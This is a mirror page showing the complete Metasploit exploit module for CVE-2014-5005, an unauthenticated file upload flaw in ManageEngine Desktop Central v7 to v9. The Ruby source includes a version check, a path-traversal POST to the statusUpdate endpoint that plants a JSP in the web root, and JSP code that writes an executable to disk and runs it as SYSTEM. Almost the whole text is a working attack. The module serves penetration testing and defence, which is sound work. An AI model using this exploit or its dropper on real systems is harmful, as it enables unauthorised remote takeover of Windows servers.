Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
18
'Description' => %q{
19
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
20
v7 to v9 build 90054 (including the MSP versions).
21
A malicious user can upload a JSP file into the web root without authentication, leading to
22
arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
23
they do not ship with a bundled Java compiler.
24
},
25
'Author' => [
26
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2014-5005'],
31
['OSVDB', '110643'],
32
['URL', 'https://seclists.org/fulldisclosure/2014/Aug/88']
33
],
34
'Platform' => 'win',
35
'Arch' => ARCH_X86,
36
'Targets' => [
37
[ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
38
],
39
'Privileged' => true,
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2014-08-31',
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options([Opt::RPORT(8020)])
51
end
52
53
# Test for Desktop Central
54
def check
55
res = send_request_cgi({
56
'uri' => normalize_uri("configurations.do"),
57
'method' => 'GET'
58
})
59
60
if res && res.code == 200
61
build = nil
62
63
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
64
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
65
66
print_status("Detected Desktop Central v7")
67
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
68
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
69
70
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
71
build = $1
72
print_status("Detected Desktop Central v8 #{build}")
73
else # DC v8 (earlier versions)
74
print_status("Detected Desktop Central v8")
75
end
76
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
77
build = $1
78
end
79
80
if build.nil?
81
return Exploit::CheckCode::Unknown
82
elsif Rex::Version.new(build) < Rex::Version.new("90055")
83
return Exploit::CheckCode::Appears
84
else
85
return Exploit::CheckCode::Safe
86
end
87
end
88
89
Exploit::CheckCode::Unknown
90
end
91
92
def exploit
93
print_status("Uploading JSP to execute the payload")
94
95
exe = payload.encoded_exe
96
exe_filename = rand_text_alpha_lower(8) + ".exe"
97
98
jsp_payload = jsp_drop_and_execute(exe, exe_filename)
99
jsp_name = rand_text_alpha_lower(8) + ".jsp"
100
101
send_request_cgi({
102
'uri' => normalize_uri('statusUpdate'),
103
'method' => 'POST',
104
'data' => jsp_payload,
105
'ctype' => 'text/html',
106
'vars_get' => {
107
'actionToCall' => 'LFU',
108
'configDataID' => '1',
109
'customerId' => rand_text_numeric(4),
110
'fileName' => '../' * 6 << jsp_name
111
}
112
})
113
# We could check for HTTP 200 and a "success" string.
114
# However only some later v8 and v9 versions return this; and we don't really care
115
# and do a GET to the file we just uploaded anyway.
116
117
register_files_for_cleanup(exe_filename)
118
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")
119
120
print_status("Executing payload")
121
send_request_cgi(
122
{
123
'uri' => normalize_uri(jsp_name),
124
'method' => 'GET'
125
}
126
)
127
end
128
129
def jsp_drop_bin(bin_data, output_file)
130
jspraw = %Q|<%@ page import="java.io.*" %>\n|
131
jspraw << %Q|<%\n|
132
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
133
134
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
135
136
jspraw << %Q|int numbytes = data.length();\n|
137
138
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
139
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
140
jspraw << %Q|{\n|
141
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
142
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
143
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
144
jspraw << %Q| comb <<= 4;\n|
145
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
146
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
147
jspraw << %Q|}\n|
148
149
jspraw << %Q|outputstream.write(bytes);\n|
150
jspraw << %Q|outputstream.close();\n|
151
jspraw << %Q|%>\n|
152
153
jspraw
154
end
155
156
def jsp_execute_command(command)
157
jspraw = %Q|\n|
158
jspraw << %Q|<%\n|
159
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
160
jspraw << %Q|%>\n|
161
162
jspraw
163
end
164
165
def jsp_drop_and_execute(bin_data, output_file)
166
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
167
end
168
end
169
170